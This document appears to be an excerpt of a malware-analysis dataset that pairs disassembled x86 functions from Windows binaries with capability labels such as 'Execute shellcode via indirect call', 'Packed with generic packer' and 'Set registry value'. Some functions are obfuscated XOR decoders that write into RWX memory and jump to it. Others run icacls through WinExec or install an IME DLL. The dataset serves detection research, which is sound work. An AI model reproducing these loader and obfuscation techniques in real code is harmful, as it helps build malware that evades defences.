joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10032d30
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x34]
call fcn.1003dee0
movzx edi, al
neg edi
sbb edi, edi
push 0xd
mov ecx, esi
and edi, 0x800000
call fcn.100464e0
cmp dword [esi + 0x48], 0
je 0x10032dcc
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 0x34]
call fcn.100464e0
push edi
push 0
push 0
push 0
push dword [eax]
push dword [esi + 0x10]
push dword [esi + 0x48]
call dword [sym.imp.winhttp.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 4]
add edx, 0xfffffff0
mov dword [esi + 0x4c], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10032da0
mov ecx, dword [edx]
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esi + 0x4c], 0
jne 0x10032dc3
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.100464e0
push 0x10073814
lea eax, [ebp - 0x10]
push eax
call fcn.100464e0
push 0xe
mov ecx, esi
call fcn.100464e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10032de0
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061948
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x44], 0
je 0x10032e29
push 0xcaa10023
lea ecx, [ebp - 0x1c]
call fcn.100464e0
push 0x10073144
lea eax, [ebp - 0x1c]
push eax
call fcn.100464e0
movzx eax, byte [esi + 0x41]
neg eax
sbb eax, eax
and eax, 0x10000000
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.winhttp.dll_WinHttpOpen]
mov dword [esi + 0x44], eax
test eax, eax
jne 0x10032e7e
push 0x10063700
lea ecx, [ebp - 0x10]
call fcn.100464e0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100464e0
push 0x1007469c
lea eax, [ebp - 0x2c]
push eax
call fcn.100464e0
push 1
mov ecx, esi
call fcn.100464e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10032ea0
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060c88
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x1c], eax
mov edi, dword [eax + 0x18]
sub edi, dword [eax + 0x14]
mov edx, dword [ebp + 8]
lea ebx, [eax + 0x14]
add edx, edi
mov dword [ebp - 0x18], edi
cmp edx, 0xa00000
jle 0x10032f01
push 0xcaa10025
lea ecx, [ebp - 0x28]
call fcn.100464e0
push 0x100731f4
lea eax, [ebp - 0x28]
push eax
call fcn.100464e0
mov ecx, dword [ebx + 4]
mov eax, dword [ebx]
mov esi, ecx
sub esi, eax
mov byte [ebp - 0x10], 0
cmp edx, esi
jbe 0x10032f25
sub eax, ecx
lea esi, [ebp - 0x10]
push esi
add eax, edx
push eax
push ecx
mov ecx, ebx
call fcn.100464e0
jmp 0x10032f46
jae 0x10032f46
lea esi, [edx + eax]
cmp esi, ecx
je 0x10032f46
mov edi, ecx
sub edi, ecx
push edi
push ecx
push esi
call fcn.100464e0
lea eax, [edi + esi]
mov edi, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebx + 4], eax
mov eax, dword [ebx]
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
add eax, edi
push eax
push dword [esi + 0x4c]
mov dword [ebp - 0x14], 0
call dword [sym.imp.winhttp.dll_WinHttpReadData]
test eax, eax
jne 0x10032f9b
push 0x10063700
lea ecx, [ebp + 8]
call fcn.100464e0
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x38]
call fcn.100464e0
push 0x1007469c
lea eax, [ebp - 0x38]
push eax
call fcn.100464e0
mov eax, dword [ebp - 0x14]
add eax, edi
push eax
mov ecx, ebx
call fcn.100464e0
push 0xa
mov ecx, esi
call fcn.100464e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10033280
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060d59
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], 0
mov eax, dword [0x1007f3e4]
mov ecx, 0x1007f3e4
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
call dword [eax + 0xc]
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
mov dword [ebp - 0x14], 1
push dword [edi + 0x4c]
call dword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10033389
mov eax, dword [ebp - 0x10]
cmp eax, 0xa00000
jbe 0x1003332c
push 0xcaa10025
lea ecx, [ebp - 0x20]
call fcn.100464e0
push 0x100731f4
lea eax, [ebp - 0x20]
push eax
call fcn.100464e0
shr eax, 1
dec eax
push eax
mov ecx, esi
call fcn.100464e0
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [edi + 0x4c]
call dword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
mov ecx, dword [esi]
mov edi, eax
test ecx, ecx
je 0x10033367
push dword [ecx - 8]
push ecx
call fcn.100464e0
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x1003339e
mov eax, dword [esi]
cmp ecx, dword [eax - 8]
jg 0x1003339e
mov dword [eax - 0xc], ecx
mov eax, dword [esi]
xor edx, edx
mov word [eax + ecx*2], dx
test edi, edi
jne 0x10033389
push 0x10063700
mov ecx, esi
call fcn.100464e0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
push 0x80070057
call fcn.100464e0
int3

Function at 0x10045816
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10080cd4], 0
push esi
push edi
jne 0x1004578c
call fcn.100456f8
test eax, eax
je 0x100457d1
mov eax, dword [0x10080cd4]
cmp eax, 1
jne 0x100457ad
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x100457d1
jmp 0x10045813
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x10045813
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100457d5
xor eax, eax
jmp 0x10045813
mov eax, dword [esi]
push dword [0x10080cd4]
call edi
mov edi, eax
test edi, edi
je 0x100457f7
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x10045813
lea edi, [esi + 0xff0]
push esi
push dword [0x10080cd4]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x100457fd
mov eax, esi
pop edi
pop esi
ret
jmp 0x10045778

Function at 0x10045bb2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1007f45c]
jne 0x10045bbc
repz ret
jmp fcn.100490d1
Function at 0x100464e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x100464ef
pop dword [ebp - 0x2c]
mov eax, 0x7d17cf6b
sub eax, 0x6d136a7c
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x551de
push 0
mov eax, 0xd5251c23
add eax, 0x3ae11541
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xabe3ef73
sub ecx, 0xabe39f3f
xor edi, edi
add edi, eax
mov esi, 0x7c731993
sub esi, 0x6c67d793
add esi, dword [ebp - 0x2c]
mov ebx, 0x71ccaf7b
add ebx, 0x5059cc92
mov edx, dword [esi]
add dword [ebp - 0x1c], edi
add edx, ebx
xor dword [ebp - 4], edi
mov dword [edi], edx
mov dword [ebp - 0x10], 0xe94731cf
add edi, 4
add esi, 0xf3a050d4
add esi, 0xc5faf30
loop 0x10046550
add eax, 0xb079a1bf
sub eax, 0xb0786e1c
xor ebx, ebx
add ebx, eax
add eax, 0xc3bfd8c6
sub eax, 0xc3bfd8c1
mov ecx, 0x76e24a33
add ecx, 0x991db5cd
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x994f20
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00995070
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x994f46
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x994f32
add dl, dl
jne 0x994f51
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x994fa4
xor eax, eax
add dl, dl
jne 0x994f5e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x995045
add dl, dl
jne 0x994f6d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x994f78
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x994f83
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x994f8e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x994f9a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x994f3d
mov eax, 1
add dl, dl
jne 0x994fb2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x994fbd
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x994fa9
sub eax, ebx
mov ebx, 1
jne 0x994ff0
mov ecx, 1
add dl, dl
jne 0x994fd6
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x994fe1
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x994fcd
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x994f3d
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x995007
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x995012
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x994ffe
cmp eax, 0x7d00
jae 0x995035
cmp eax, 0x500
jb 0x995030
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x994f3d
cmp eax, 0x7f
ja 0x995038
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x994f3d
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x995066
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x994f3d
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x6eaa5d3f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x9df2da8
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401443
pop dword [ebp - 0x24]
mov eax, 0x401443
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x2cdb7d11
add dword [ebp - 0x34], 0x2176c83a
mov dword [ebp - 0x30], 0x87c8e368
sub dword [ebp - 0x30], 0x55959723
mov dword [ebp - 0x2c], 0x4fb6fbcf
sub dword [ebp - 0x2c], 0x36ab7a1
mov dword [ebp - 0x28], 0xe777afc4
add dword [ebp - 0x28], 0x1888503c
lea eax, [ebp - 0x34]
push eax
mov eax, 0x129c3871
add eax, 0xeda44893
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x28cc3091
sub dword [ebp - 0x34], 0xb459c73b
mov dword [ebp - 0x30], 0x6a3de1d7
sub dword [ebp - 0x30], 0x28d18062
mov dword [ebp - 0x2c], 0x35481fd
add dword [ebp - 0x2c], 0x601aea6f
mov dword [ebp - 0x28], 0x801ed0dc
add dword [ebp - 0x28], 0x7fe12f24
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xf4b89bdb
sub eax, 0xf4781adb
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3742a
push 0
call eax
mov ecx, 0x43e1
xor edi, edi
add edi, eax
mov edx, 0x1388131b
add edx, 0xecbed0e5
add edx, dword [ebp - 0x24]
mov esi, 0xae96b25e
add esi, 0xe8bb531e
xor dword [ebp - 8], esi
mov ebx, dword [edx]
mov dword [ebp - 4], 0x55a0d956
add ebx, esi
sub dword [ebp - 0xc], ebx
mov dword [edi], ebx
xor dword [ebp - 0x20], edx
add edi, 0x60ae757d
sub edi, 0x60ae7579
add edx, 0x46d84560
sub edx, 0x46d8455c
loop 0x40155c
add eax, 0x10257
mov ebx, eax
add eax, 0xe4987c37
add eax, 0x1b6783ce
mov ecx, 0x89a61edd
sub ecx, 0x89661edd
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc

Function at 0x40217c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40218b
pop dword [ebp - 0x48]
mov eax, 0x6e267bc9
add eax, 0x9219a5c2
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xa6ec1900
add dword [ebp - 0x58], 0xa7662c4b
mov dword [ebp - 0x54], 0x86cdfe90
add dword [ebp - 0x54], 0xab654db5
mov dword [ebp - 0x50], 0x6bc1be75
sub dword [ebp - 0x50], 0x1f757a47
mov dword [ebp - 0x4c], 0xd8176799
add dword [ebp - 0x4c], 0x27e89867
lea eax, [ebp - 0x58]
push eax
mov eax, 0xc4894b67
add eax, 0x3bb8e50d
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x866daebc
add dword [ebp - 0x58], 0xee04ba9a
mov dword [ebp - 0x54], 0xe10d06fc
sub dword [ebp - 0x54], 0x9fa0a587
mov dword [ebp - 0x50], 0xad8ff108
add dword [ebp - 0x50], 0xb5df7b64
mov dword [ebp - 0x4c], 0x2ee173c8
add dword [ebp - 0x4c], 0xd11e8c38
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x38f74
push 0
call eax
mov ecx, 0xd740ca2a
add ecx, 0x28bf6aea
xor edx, edx
add edx, eax
mov ebx, 0x434400
add ebx, dword [ebp - 0x48]
mov esi, 0xb32206c0
add esi, 0x8d6a7c1d
sub dword [ebp - 0x14], 0xfbd1e5c9
mov edi, dword [ebx]
add dword [ebp - 0x24], 0x7a3b4108
xor edi, esi
sub dword [ebp - 0x24], edi
mov dword [edx], edi
sub dword [ebp - 0x34], 0xa4b216f0
add edx, 4
add ebx, 0xdede10b8
sub ebx, 0xdede10b4
loop 0x4022a4
add eax, 0x864f8633
add eax, 0x79b140f0
mov ebx, eax
add eax, 0xc0748b6c
sub eax, 0xc0748b67
mov ecx, 0xe84aaec0
add ecx, 0x17f55140
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 8]
push eax
push 0x20019
xor esi, esi
push esi
push str.SOFTWAREMicrosoftWindows_NT
push 0x80000002
call edi
test eax, eax
jne 0x401056
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push eax
push str.CurrentVersion
push edx
mov dword [esp + 0x24], 0x2e
call edi
test eax, eax
je 0x40105e
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 0x43c860
push 0
push 0
push str.CurrentBuildNumber
push edx
mov byte [0x43c860], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401096
push 0x43c860
call fcn.0040a1b0
add esp, 4
mov esi, eax
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call edi
mov ecx, dword [esp + 8]
push ecx
call edi
xor eax, eax
cmp esi, 0x55f0
pop edi
setge al
pop esi
add esp, 0xc
ret

Function at 0x401150
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [0x42cc58]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetParent]
push esi
lea ebx, [eax + 0x44200]
lea esi, [eax + 0x40000]
mov eax, dword [esp + 0x10]
push edi
push eax
call ebp
mov edi, eax
test eax, eax
je 0x4011c0
push eax
call ebp
test eax, eax
je 0x401183
mov edi, eax
jmp 0x401178
test edi, edi
je 0x4011c0
mov ecx, dword [0x43c330]
push ecx
push 0x41c46c
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push esi
push ebx
call ebp
push 0xc8
push esi
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
push esi
push ebx
call ebp
push 0x41c464
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4012a0
Capabilities:
Enumerate gui resources

Disassembly:
push esi
mov esi, dword [0x42cc58]
push edi
xor eax, eax
push eax
lea edi, [esi + 0x44200]
mov word [edi], ax
push 0x4011d0
mov dword [0x43c330], eax
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [0x43c330]
test eax, eax
jle 0x40130f
push eax
push 0x41c510
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call edi
push 0x41c464
push esi
call edi
push 0x41c464
push esi
call edi
push 0x41c4f0
push esi
call edi
push 0x41c464
push esi
call edi
push 0x41c4a8
push esi
call edi
pop edi
pop esi
ret
Function at 0x401900
Capabilities:
Get common file path

Disassembly:
push 0x64
push 0x43c780
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x43c780
push 0x41c5d4
push 0x43c240
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x41c5b4
push 0x43c240
call sub.IMM32.dll_ImmInstallIMEW
xor ecx, ecx
test eax, eax
setne cl
mov dword [0x4390f0], eax
mov eax, ecx
ret

Function at 0x401960
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4019fd
push edi
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push edx
push eax
push 0xf003f
push eax
push eax
push eax
mov eax, dword [esp + 0x24]
push 0x41c600
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4019f5
mov ecx, dword [esp + 4]
push esi
push str.chcqsjgl
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esp + 8]
push eax
push esi
push 1
push 0
push str.chcqsjgl
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop esi
test eax, eax
je 0x4019ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 4]
push eax
call edi
mov ecx, dword [esp + 8]
push ecx
call edi
pop edi
add esp, 0xc
ret
Function at 0x402430
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x439020
push 0x43c780
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, 0x43c780
push 0x43c780
dec esi
call ebx
cmp byte [eax + esi], 0x5c
jne 0x402469
push 0x43c780
call ebx
mov byte [eax + esi], 0
push str.c:Progra1chenhu8
push 0x43c780
call edi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x43c780
push str.icacls.exe___s___SetIntegrityLevel_Level:_L
push 0x43c860
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0xc
push 5
push 0x43c860
call edi
push 0x43c780
push str.icacls.exe__s__SetIntegrityLevel_Level:_L
push 0x43c860
call esi
add esp, 0xc
push 5
push 0x43c860
call edi
pop edi
pop esi
pop ebx
ret

Function at 0x402500
Capabilities:
Get common file path

Disassembly:
push 0xc8
push 0x43c780
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [esp + 4]
push 0x43c780
push str._s_syswow64
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
ret

Function at 0x4028c0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 0xc]
cmp eax, 1
jne 0x4028e8
push 0x43c5c0
call fcn.00402500
add esp, 4
push 0x43c5c0
push 0x43c780
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x402914
cmp eax, 2
je 0x402904
cmp eax, 3
je 0x402904
push 0xc8
push 0x43c780
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x402914
push 0xc8
push 0x43c780
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call fcn.00402770
test eax, eax
je 0x40295a
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x10], 0
call fcn.00402860
add esp, 4
cmp eax, 1
jne 0x40295a
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push esi
push ecx
push edx
call fcn.004027b0
mov esi, eax
mov eax, dword [esp + 0x18]
push eax
call fcn.00402890
add esp, 0xc
mov eax, esi
pop esi
ret
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push ecx
push edx
call fcn.004027b0
add esp, 8
ret